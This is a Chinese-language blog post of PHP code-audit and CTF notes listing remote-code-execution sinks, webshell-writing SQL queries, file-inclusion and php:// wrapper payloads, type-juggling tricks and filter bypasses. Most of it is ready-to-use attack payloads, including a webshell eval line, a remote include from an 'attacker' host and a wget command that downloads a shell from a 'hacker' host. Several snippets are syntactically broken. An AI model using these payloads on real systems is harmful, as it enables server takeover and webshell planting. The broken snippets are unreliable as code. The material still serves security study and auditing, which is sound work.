PHP代码审计

PHP代码审计

在这里插入图片描述

RCE

反引号中包括变量

<?php
$varch = $_GET['hi'];
$output = `$varch`;
echo "<pre>$output</pre>";
?>

array_map()中包含变量

作用是为数组的每个元素应用回调函数 。其返回值为数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

<?php
$array = array(0,1,2,3,4,5);
array_map($_GET['hi'],$array);
?>
http://localhost:8899/demo/quotos.php?hi=phpinfo

create_function

<?php
$a = $_GET['hi'];
$b = create_function('$a',"echo $a");
$b('');
?>
http://localhost:8899/demo/quotos.php?hi=phpinfo();

常见回调函数

call_user_func()、call_user_func_array()、create_function()、
array_walk()、 array_map()、array_filter()、	
usort()、ob_start()、可变函数$_GET['a']($_GET['b'])

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 传入call_user_func()的参数不能为引用传递。

call_user_func

<?php
	call_user_func($_GET['chybeta'],$_GET['ph0en1x']);
?>

访问:

http://localhost:2500/codeexec.php?chybeta=assert&ph0en1x=phpinfo()

call_user_func_array

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

<?php
	call_user_func_array($_GET['chybeta'],$_GET['ph0en1x']);
?>
http://localhost:2500/codeexec.php?chybeta=assert&ph0en1x[]=phpinfo()

array_filter

array_filter(['whoami'],'system');

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aBch01HK-1606060840954)(PHP代码审计.assets/image-20201012143132321.png)]

assert

	assert(system('calc.exe')

passthru

<?php
	passthru("whoami");
?>

pcntl_exec

<?php
	pcntl_exec ( "/bin/bash" , array("whoami"));
?>

ob_start

<?php
	$cmd = 'system';
	ob_start($cmd);
	echo "$_GET[a]";
	ob_end_flush();
?>

usort

<?php
   //php5.6版本以下 
   usort($_GET,'system');    //xxx.php?1=1&2=whoami
   //usort($_GET,'assert');   //xxx.php?1=1&2=phpinfo()
   //usort($_GET,'syst'.'em');     
   //usort($_GET,'asse'.'rt');    
   //php5.6以上
   //usort(...$_GET);   xxx.php?1[]=test&1[]=phpinfo();&2=assert
 ?>

array_walk

<?php 
	array_walk($_GET['a'],$_GET['b']);
	//xxx.php?a[]=phpinfo()&b=assert
	//xxx.php?a[]=whoami&b=system
?>

proc_open

<?php  
	$test = "whoami";  
	$array =   array(  
	array("pipe","r"),   //标准输入  
	array("pipe","w"),   //标准输出内容  
	array("pipe","w")    //标准输出错误  
 );  
  
	$fp = proc_open($test,$array,$pipes);   //打开一个进程通道  
	echo stream_get_contents($pipes[1]);    //为什么是$pipes[1],因为1是输出内容  
	proc_close($fp);  
?>

popen

<?php  
	$test = "whoami";  
	$fp = popen($test,"r");  //popen打一个进程通道  
  
	while (!feof($fp)) {      //从通道取出内容 
		$out = fgets($fp, 4096);  
		echo  $out;          
	}  
	pclose($fp);  
?>

preg_replace

<?php 
@preg_replace("/abc/e",$_REQUEST['a'],"abcd");
//xxx.php?a=phpinfo()
?>

${}符号

<?php 
	${phpinfo()};
?>

shell_exec

"echo shell_exec('whoami');"

文件写入/读取:

select into outfile

select '<?php eval($_POST[123]) ?>' into outfile '/var/www/html/1.php';

load_file()

http://test.com/sqli/Less-1/?id=-1' union select 1,load_file('c:\\flag.txt'),3 --+

fputs

<?fputs(fopen("shell.php","w"),"<?php eval($_post['xxx'];?>")?>

SQL注入

secure_file_priv

show global variables like '%secure%';

set global general_log=on;set global general_log_file='C:/phpStudy/WWW/123.php';select '<?php eval($_POST[123]) ?>';

变量覆盖漏洞

变量覆盖漏洞相关函数

extract()
parse_str()
import_request_variables()
$$(可变变量)
register_globals=On (PHP5.4之后正式移除此功能)

$$的问题

如提交的URL为 var.php?a=bye

<?php
	$a = "hi";
	foreach($_GET $key => $value){
			$$key=$value;	
	}
	print $a;
?>

extract()变量覆盖

extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。该函数返回成功设置的变量数目

$flag='xxx'; 
extract($_GET);
 if(isset($shiyan))
 { 
    $content=trim(file_get_contents($flag));
    if($shiyan==$content)
    { 
        echo'ctf{xxx}'; 
    }
   else
   { 
    echo'Oh.no';
   } 
   }

​ 变量覆盖漏洞PHP extract() 函数从数组中把变量导入到当前的符号表中。对于数组中的每个元素,键名用于变量名,键值用于变量值。 file_get_contents:远程获取获取文件,若没有则为空 构造shiyan=&flag=1

parse_str()函数使用不当导致的覆盖

parse_str()函数的作用是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否已经存在,所以会直接覆盖掉已有的变量。parse_str()函数的结构如下:

parse_str(string,array)

<?php
	$a = "hi";
	//var.php?var=1&a[1]=var1%3d222
	$var1 = "init";
	parse_str = ($a[$_GET['var']]);
	print $var1;
?>

文件包含:

require()

include

include_once

require_once

构造url
`/?param=http://attacker/phpshell.txt?`
可将远程的shell解析执行,最后一个问号可以起到截断的作用。

move_uploaded_file

php伪协议

php://input

allow_url_include = on
payload:

1 index.php?file=php://input
2 POST:
3 <? phpinfo(); ?>
php://filter

可以读取本地文件
index.php?file=php://filter/read=convert.base64-encode/resource=index.php
指定末尾文件,可以读到base64编码后的文件内容,ctf中常有题目可读文件源码。

php://phar

PHP归档,解压缩协议
上传包含任何格式文件shell的压缩包,再用phar协议解析

  • 指定相对路径
index.php?file=phar://shell.zip/phpinfo.txt
  • 指定绝对路径
index.php?file=phar://D:/index/www/fileinclude/shell.zip/phpinfo.txt
data:

条件:

  1. allow_url_fopen = On
  2. allow_url_include = On
index.php?file=data:text/plain,%00`
`index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

CTF

240610708神奇数字

<?php
    $md51 = md5('QNKCDZO');
    $a = @$_GET['a'];
    $md52 = @md5($a);
    if(isset($a)){
    if ($a != 'QNKCDZO' &amp;&amp; $md51 == $md52) {
        echo "nctf{*****************}";
    } else {
        echo "false!!!";
    }}
    else{echo "please input a";}
?>
var_dump(md5('240610708') == md5('QNKCDZO'));

结果是true

=== 类型比较

<?php

if (isset($_GET['name']) and isset($_GET['password']))
{
    if ($_GET['name'] == $_GET['password'])
        echo ' Your password can not be your name! ';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
        die('Flag: 1111111111111');
    else
        echo ' Invalid password.';
}
else
    echo 'Login first! ';


?>

​ === 是类型比较,name和password可传入数组,让sha1报错,通过类型比较进入到指定路径

var.php?name[]=1&password[]=b

strcmp

<?php
$flag = "11111111111";
if (isset($_GET['a'])) {
    if (strcmp($_GET['a'], $flag) == 0)
        //比较两个字符串(区分大小写)
        die('Flag: '.$flag);
    else
        print '离成功更近一步了';
}

?>

var.php?a[]=1

php语言特性:

​ 是5.3的之前和之后版本在使用strcmp比较数组和字符串时候的差异, 5.3之后使用该函数比较数组和字符串会返回0

strpos()

strpos() 函数查找字符串在另一字符串中第一次出现的位置。
strpos() 函数对大小写敏感。
该函数是二进制安全的。
strpos(string, find, start) stringfind 必需,start 可选,规定在何处开始搜索。

判断的时候是不能用 != false来判断的,因为当查找的字符串位置为0 时也会判断成功

<?php 
$a = "stark";
$b = "s";
$c = "k";

var_dump(strpos($a, $b));	//0
var_dump(strpos($a, $c));	//4
var_dump(strpos($a, $b) != false);	//false
var_dump(strpos($a, $b) !== false);	//true
?>

is_numeric

由于is_numeric没有检测\0(%00),所以导致is_numeric($_REQUEST['number'])False,成功跳过检测。

绕过tips

空格
<
${IFS}
$IFS$9
%09
敏感字符绕过

假设过滤了cat

1、利用变量绕过

ubuntu@VM-0-8-ubuntu:~/shell$ a=c;b=a;c=t;
ubuntu@VM-0-8-ubuntu:~/shell$ $a$b$c 1.txt
abc

2、利用base64编码绕过

ubuntu@VM-0-8-ubuntu:~/shell$ echo 'cat' | base64
Y2F0Cg==
ubuntu@VM-0-8-ubuntu:~/shell$ `echo 'Y2F0Cg==' | base64 -d` 1.txt
abc
%00截断

magic_quotes_gpc = off
PHP < 5.3.4

%00截断目录遍历
/var/www/%00
magic_quotes_gpc = off

字节长度截断:

最大值Windows下256字节,Linux下4096字节

编码绕过
`%2e%2e%2f ../`
`..%c0%af ../`
`%2e%2e%5c ..\`

php应用常见目录文件

包含日志文件

先通过读取httpd的配置文件httpd.conf,找日志文件所在目录
常见日志文件位置:

1./etc/httpd/conf/httpd.conf
2./usr/local/apache/conf/http.conf
3./apache/logs/error.log
包含Session

要求攻击者能控制部分Session的内容
常见的php-session存放位置:

1. /var/lib/php/sess_PHPSESSID
2. /var/lib/php/sess_PHPSESSID
3. /tmp/sess_PHPSESSID`
包含/proc/self/environ 文件

index.php?page=../../../../../proc/self/environ
可以看到Web进程运行时的环境变量,其中用户可以控制部分,比如对User-Agent注入

<?php
    system('wget http://hacker/Shells/phpshell.txt -O shell.php');
?>

PHP特性:

当代码中存在*$_REQUEST[‘user_id’]里面类似的参数的时候,我们在url上可以这样a.php?user.id传参去进行绕过,这样进去之后也能表示$_REQUEST[‘user_id’]*的值,同样可以绕过的符号还有+,[ 等,应该说是php的一个小特性

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ohjXIL10-1606060840955)(PHP代码审计.assets/image-20201119091719276.png)]

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值